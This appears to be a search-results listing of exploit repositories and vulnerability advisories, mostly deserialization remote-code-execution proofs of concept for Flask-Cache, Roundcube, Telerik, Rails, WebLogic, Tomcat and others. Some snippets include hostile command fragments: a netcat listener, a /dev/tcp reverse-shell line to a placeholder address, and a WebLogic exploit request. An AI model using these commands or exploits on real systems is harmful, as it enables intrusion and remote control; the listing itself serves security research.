34790 matches found
FlaskCache_CVE-2021-33026_POC
Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit Check redis server up and running redis-cli -h 127.0.0.1 -p 6379 ping redis-cli keys redis-cli get Keyid Start listening netcat at port 10001 : nc -nvlp 10001 Setting environments for Flask Chache python -m venv venvflaskcac...
CVE-2025-49113
CVE-2025-49113 β Roundcube Remote Code Execution RCE PoC This repository contains a Proof-of-Concept PoC exploit for CVE-2025-49113 , a critical remote code execution vulnerability in Roundcube Webmail versions prior to 1.5.10 and 1.6.11. The vulnerability arises from insecure PHP object...
CVE-2026-103877
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
rxerium-templates
A curated collection of 144+ Nuclei templates focusing on zero-day and actively exploited vulnerabilities in the wild with a few miscellaneous templates. Templates use passive detection techniques version/date matching and are organized by year for easy navigation. β οΈ Note: Date matching may be...
EUVD-2026-91361
Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...
CVE-2025-7384
CVE-2025-7384 β PHP Object Injection to RCE Plugin: Database for Contact Form 7 contact-form-entries β€ 1.4.3 CVSS: 9.8 Critical CWE: CWE-502 β Deserialization of Untrusted Data Authentication Requirement: None Unauthenticated Impact: Remote Code Execution Table of Contents 1. Vulnerability Overvi...
RAU_crypto
RAUcrypto Combined exploit for Telerik UI for ASP.NET AJAX. File upload for CVE-2017-11317 and CVE-2017-11357 - will automatically upload the file .NET deserialisation for CVE-2019-18935 Now supports testing for the target's ability to pull in remote payloads from an attacker-hosted SMB service...
CVE-2020-8165
CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...
CVE-2026-12191
CVE-2026-12191 A proof-of-concept exploit for CVE-2026-12191, an insecure deserialization vulnerability in Comma AI Openpilot's modeld.py, that allows a local low-privileged attacker to achieve arbitrary code execution by supplying a crafted malicious Python pickle payload to the...
exploit_cve-2023-26326_using_cve-2024-2961
Exploit BuddyForms CVE-2023-26326 using Iconv CVE-2024-2961 This work was done by me, Omar Elshopky, and Nour El Dien Bassiouny. This repository contains an exploit for the WordPress BuddyForms Plugin CVE-2023-26326, initially reported in the advisory by Joshua Martinelle. The exploit leverages a...
Liferay-CE-Portal-Java-Deserialization
Liferay-CE-Portal-Java-Deserialization This repo contains PoC for the remote code execution vulnerability of Liferay CE Portal! Payloads I already shared payloads in repo. You must find the right syntax by brute-force method.Payloads I share are for time-based proof of concept sleep 10. The...
CVE-2022-26133
CVE-2022-26133 Description Atlassian Bitbucket Data Center Deserialization Vulnerability CVE-2022-26133 Batch Verification and Exploitation Vulnerability Verification Batch python3 CVE-2022-26133.py -u http://192.168.110.136:7990 -f target.txt Exploitation Disclaimer: This tool is only used for...
CVE-2021-3129
CVE-2021-3129 β Laravel Ignition Remote Code Execution CVSS 9.8 Critical | Unsafe File Operations β Log Poisoning β Phar Deserialization β RCE Overview Laravel Ignition -c "whoami" References NVD β CVE-2021-3129 Ignition Patch 2.5.2...
CVE-2017-10271
CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226 content-type...
DCOMIllusionist
π©β¨πͺ DCOMIllusionist Windows fileless lateral movement technique. Introduction β’ Build β’ Usage β’ Technical Details β’ Acknowledgements Introduction This tool enables remote code execution on a Windows machine, if you have administrative privileges. It leverages DCOM and the behavior of .NET DCOM...
CVE-2019-0604
1. Analysis of k8gege's cve-2019-0604-exp.py k8gege's script https://github.com/k8gege/CVE-2019-0604 Honestly, k8gege's Python script is a bit fancy, with a large number of hexadecimal strings split into payload1, 2, 3. Devious. The Python script sends a remote POST payload, which after...
CVE-2019-2725
CVE-2019-2725 weblogic command echo + webshell upload Disclaimer: This tool is only for security testing and learning purposes. Illegal use is prohibited. weblogic command echo + webshell upload Script introduction: This script is tested on weblogic versions 10.3.6 and 12.1.3, and is written in...
POC-CVE-2025-24813
CVE-2025-24813 Apache Tomcat RCE PoC Proof of Concept PoC exploiting CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization whe...
CVE-2026-44963
CVE-2026-44963 β Veeam Backup & Replication RCE Research repository bySentinelX β for authorized security testing and defensive purposes only. Overview Field| Detail ---|--- CVE ID| CVE-2026-44963 Vendor| Veeam Product| Backup & Replication Affected Versions| 12.3.2.4854 all v12 builds Fixed...